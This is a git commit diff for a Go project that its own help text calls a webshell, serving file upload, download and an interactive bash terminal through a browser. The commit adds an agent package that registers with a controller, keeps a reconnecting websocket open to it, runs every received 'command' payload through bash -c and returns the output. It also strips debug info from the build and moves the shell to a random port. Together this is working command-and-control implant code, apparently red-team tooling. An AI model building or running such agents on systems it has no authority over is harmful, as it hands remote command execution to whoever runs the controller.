added port number to the websocket connection
This commit is contained in:
parent
23046e026d
commit
380ff26eef
3
Makefile
3
Makefile
|
@ -13,7 +13,8 @@ all: build
|
|||
|
||||
build: ## Build the application
|
||||
@echo "Building $(APP_NAME)..."
|
||||
$(GO_BUILD) -o $(BINARY)
|
||||
# $(GO_BUILD) -o $(BINARY)
|
||||
$(GO_BUILD) -ldflags "-w" -o $(BINARY)
|
||||
|
||||
install: build ## Install the application
|
||||
@echo "Installing $(APP_NAME)..."
|
||||
|
|
59
main.go
59
main.go
|
@ -10,6 +10,7 @@ import (
|
|||
"html/template"
|
||||
"io"
|
||||
"log"
|
||||
"net"
|
||||
"net/http"
|
||||
"net/url"
|
||||
"os"
|
||||
|
@ -18,9 +19,12 @@ import (
|
|||
"path/filepath"
|
||||
"regexp"
|
||||
"strings"
|
||||
"sync"
|
||||
|
||||
"github.com/creack/pty"
|
||||
"github.com/gorilla/websocket"
|
||||
|
||||
"gommand/src/agentconnector"
|
||||
)
|
||||
|
||||
type PageData struct {
|
||||
|
@ -36,6 +40,8 @@ type CommandOutput struct {
|
|||
Error string
|
||||
}
|
||||
|
||||
// Contains the list of commands, which will be parsed recursively
|
||||
// through executeCommandTree() and in the end executeCommand()
|
||||
type CommandNode struct {
|
||||
Operator string
|
||||
Left *CommandNode
|
||||
|
@ -485,14 +491,60 @@ func handler(w http.ResponseWriter, r *http.Request) {
|
|||
tmpl.Execute(w, data)
|
||||
}
|
||||
|
||||
func main() {
|
||||
func startMainServer() (int, net.Listener) {
|
||||
|
||||
http.HandleFunc("/", handler)
|
||||
http.HandleFunc("/upload", fileUploadHandler)
|
||||
http.HandleFunc("/download", fileDownloadHandler)
|
||||
http.HandleFunc("/terminal", terminalHandler)
|
||||
http.Handle("/static/", http.FileServer(http.FS(staticFiles)))
|
||||
fmt.Println("Starting server on :8080")
|
||||
http.ListenAndServe(":8080", nil)
|
||||
|
||||
listener, err := net.Listen("tcp", ":0")
|
||||
if err != nil {
|
||||
log.Fatal(err)
|
||||
}
|
||||
|
||||
port := listener.Addr().(*net.TCPAddr).Port
|
||||
log.Println("Using port:", port)
|
||||
|
||||
return port, listener
|
||||
}
|
||||
|
||||
|
||||
|
||||
func main() {
|
||||
// http.HandleFunc("/", handler)
|
||||
// http.HandleFunc("/upload", fileUploadHandler)
|
||||
// http.HandleFunc("/download", fileDownloadHandler)
|
||||
// http.HandleFunc("/terminal", terminalHandler)
|
||||
// http.Handle("/static/", http.FileServer(http.FS(staticFiles)))
|
||||
// // fmt.Println("Starting server on :8080")
|
||||
// // log.Fatal(http.ListenAndServe(":8080", nil))
|
||||
|
||||
// /* This section opens the server on a random port which is also free to use */
|
||||
// listener, err := net.Listen("tcp", ":0")
|
||||
// if err != nil {
|
||||
// panic(err)
|
||||
// }
|
||||
// log.Println("Using port:", listener.Addr().(*net.TCPAddr).Port)
|
||||
// log.Fatal(http.Serve(listener, nil))
|
||||
|
||||
port, listener := startMainServer()
|
||||
|
||||
var wg sync.WaitGroup
|
||||
wg.Add(2)
|
||||
|
||||
go func() {
|
||||
defer wg.Done()
|
||||
log.Fatal(http.Serve(listener, nil))
|
||||
}()
|
||||
|
||||
go func() {
|
||||
defer wg.Done()
|
||||
agentconnector.StartServer(port)
|
||||
}()
|
||||
|
||||
wg.Wait()
|
||||
}
|
||||
|
||||
var upgrader = websocket.Upgrader {
|
||||
|
@ -540,6 +592,7 @@ func terminalHandler (w http.ResponseWriter, r *http.Request) {
|
|||
break
|
||||
}
|
||||
|
||||
// This is done, so resizing works in the browser, especially resizing the terminal
|
||||
// Check if the message is binary and starts with control prefix 0xFF.
|
||||
if len(message) > 0 && message[0] == 0xFF {
|
||||
var resizeMsg struct {
|
||||
|
|
|
@ -0,0 +1,182 @@
|
|||
package agentconnector
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"log"
|
||||
"net/http"
|
||||
"net/url"
|
||||
"os/exec"
|
||||
"time"
|
||||
"math/rand"
|
||||
"math"
|
||||
"strconv"
|
||||
|
||||
"github.com/gorilla/websocket"
|
||||
)
|
||||
|
||||
const(
|
||||
webServerAddr = "127.0.0.1:3333"
|
||||
webSocketAddr = "127.0.0.1:5555"
|
||||
registerURL = "http://" + webServerAddr + "/agents"
|
||||
// wsURL = "ws://" + webSocketAddr + "/data"
|
||||
)
|
||||
|
||||
type Agent struct {
|
||||
AgentName string `json:"agentName"`
|
||||
AgentID string `json:"agentId"`
|
||||
AgentType string `json:"agentType"`
|
||||
AgentIP string `json:"agentIp"`
|
||||
InitialContact string `json:"initialContact"`
|
||||
LastContact string `json:"lastContact"`
|
||||
AddPort string `json:"addPort"`
|
||||
}
|
||||
|
||||
type Message struct {
|
||||
Type string `json:"type"`
|
||||
Payload string `json:"payload"`
|
||||
}
|
||||
|
||||
var conn *websocket.Conn
|
||||
|
||||
func registerAgent(agentName, agentId, agentIp, agentType, addPort string) error {
|
||||
|
||||
form := url.Values{}
|
||||
form.Add("agentId", agentId)
|
||||
form.Add("agentName", agentName)
|
||||
form.Add("agentType", agentType)
|
||||
form.Add("IPv4Address", agentIp)
|
||||
form.Add("addPort", addPort)
|
||||
|
||||
resp, err := http.PostForm(registerURL, form)
|
||||
if err != nil {
|
||||
return fmt.Errorf("Error registering agent: %v", err)
|
||||
}
|
||||
defer resp.Body.Close()
|
||||
|
||||
if resp.StatusCode != http.StatusCreated {
|
||||
return fmt.Errorf("Failed to register agent, status: %v", resp.Status)
|
||||
}
|
||||
|
||||
log.Printf("Agent %s successfully registered.", agentName)
|
||||
return nil
|
||||
}
|
||||
|
||||
func connectToWebSocket(agentName, agentId, agentIp, agentType, addPort string) error {
|
||||
wsURL := fmt.Sprintf("ws://%s/data?agentName=%s&agentId=%s&IPv4Address=%s&agentType=%s&addPort=%s", webSocketAddr, url.QueryEscape(agentName), url.QueryEscape(agentId), url.QueryEscape(agentIp), url.QueryEscape(agentType), url.QueryEscape(addPort))
|
||||
var err error
|
||||
for {
|
||||
conn, _, err = websocket.DefaultDialer.Dial(wsURL, nil)
|
||||
if err == nil {
|
||||
log.Println("WeSocket connection established")
|
||||
// logger.LogEntries = append(logger.LogEntries, fmt.Sprintf("%s websocket established", time.Now().Format(time.RFC3339)))
|
||||
return nil
|
||||
}
|
||||
|
||||
log.Printf("Failed to connect to WebSocket: %v. Retrying in 5 seconds...", err)
|
||||
time.Sleep(5 * time.Second)
|
||||
}
|
||||
}
|
||||
|
||||
func reconnectToWebSocket(agentName, agentId, agentIp, agentType, addPort string) error {
|
||||
backoff := 2 * time.Second
|
||||
maxBackoff := 1 * time.Minute
|
||||
|
||||
for {
|
||||
log.Println("Attempting to reconnect to WebSocket...")
|
||||
err := connectToWebSocket(agentName, agentId, agentIp, agentType, addPort)
|
||||
if err == nil {
|
||||
log.Println("Reconnection succesful.")
|
||||
return nil
|
||||
}
|
||||
|
||||
log.Printf("Reconnection failed: %v", err)
|
||||
|
||||
time.Sleep(backoff)
|
||||
backoff *= 2
|
||||
if backoff > maxBackoff {
|
||||
backoff = maxBackoff
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func listenForCommands(agentName, agentId, agentIp, agentType, addPort string) {
|
||||
defer conn.Close()
|
||||
|
||||
for {
|
||||
_, rawMessage, err := conn.ReadMessage()
|
||||
if err != nil {
|
||||
log.Printf("Connection lost: %v", err)
|
||||
if reconnectErr := reconnectToWebSocket(agentName, agentId, agentIp, agentType, addPort); reconnectErr != nil {
|
||||
log.Printf("Critical error during reconnection: %v", reconnectErr)
|
||||
}
|
||||
continue
|
||||
}
|
||||
|
||||
var message Message
|
||||
if err := json.Unmarshal(rawMessage, &message); err != nil {
|
||||
log.Printf("Error unmarshalling message: %v", err)
|
||||
continue
|
||||
}
|
||||
|
||||
if message.Type != "command" {
|
||||
log.Printf("Ignoring non-command message: %v", message)
|
||||
continue
|
||||
}
|
||||
|
||||
command := message.Payload
|
||||
log.Printf("Received command: %s", command)
|
||||
|
||||
cmd := exec.Command("bash", "-c", command)
|
||||
output, err := cmd.CombinedOutput()
|
||||
|
||||
response := Message{
|
||||
Type: "response",
|
||||
Payload: string(output),
|
||||
}
|
||||
|
||||
if err != nil {
|
||||
response.Payload += fmt.Sprintf("\n Error executing command: %v", err)
|
||||
}
|
||||
|
||||
responseBytes, _ := json.Marshal(response)
|
||||
if err := conn.WriteMessage(websocket.TextMessage, responseBytes); err != nil {
|
||||
log.Printf("Error sending output: %v", err)
|
||||
break
|
||||
}
|
||||
|
||||
log.Printf("Output sent to server.")
|
||||
}
|
||||
}
|
||||
|
||||
func randomInt(length int) int {
|
||||
rand.Seed(time.Now().UnixNano())
|
||||
min := int(math.Pow10(length-1))
|
||||
max := int(math.Pow10(length)) -1
|
||||
return rand.Intn(max-min+1) + min
|
||||
|
||||
}
|
||||
|
||||
// func main() {
|
||||
func StartServer(agentInteractivePort int){
|
||||
// agentInteractivePort is only needed for interactive sessions
|
||||
agentName := "Agent-001"
|
||||
agentId := strconv.Itoa(randomInt(8))
|
||||
agentIp := "127.0.0.1"
|
||||
agentType := "Interactive"
|
||||
addPort := strconv.Itoa(agentInteractivePort)
|
||||
|
||||
log.Printf("AgentId: %s", agentId)
|
||||
|
||||
|
||||
|
||||
// if err := registerAgent(agentName, agentId, agentIp, agentType); err != nil {
|
||||
// log.Fatalf("Agent registration failed: %v", err)
|
||||
// }
|
||||
|
||||
if err := connectToWebSocket(agentName, agentId, agentIp, agentType, addPort); err != nil {
|
||||
log.Fatalf("Websocket connection failed: %v", err)
|
||||
}
|
||||
|
||||
listenForCommands(agentName, agentId, agentIp, agentType, addPort)
|
||||
}
|
|
@ -1,11 +1,11 @@
|
|||
const helpMsg = `
|
||||
This is a non interactive Webshell including some additional features to ease
|
||||
communications between server and client.
|
||||
This is a non interactive Webshell with an interactive mode, including some
|
||||
additional features to ease communications between server and client.
|
||||
Available Commands:
|
||||
upload Upload files to the server through the file selector of the browser.
|
||||
download <file> Download files from the server to your local download directory.
|
||||
theme <theme> Change the colorscheme of the shell. Type theme to get an overview of all colorschemes.
|
||||
start-interactive Opens a bash shell in an interactive terminal. Type ctrl+d to exit the interactive shell.
|
||||
start-interactive Opens a bash shell in an interactive terminal. Type ctrl+d to go back to non-interactive mode.
|
||||
`
|
||||
// const helpMsg = 'This is a non interactive Webshell including some additional features to ease communications between server and client.\n Available Commands:\n upload\t\t\t\tUpload files to the server through the file selector of the browser.\n download <file>\t\t\tDownload files from the server to your local download directory.\n theme <theme>\t\t\tChange the colorscheme of the shell. Type theme to get an overview of all colorschemes.\n start-interactive\t\t\tOpens a bash shell in an interactive terminal. Type ctrl+d to exi the interactive shell.'
|
||||
|
||||
|
|
Loading…
Reference in New Issue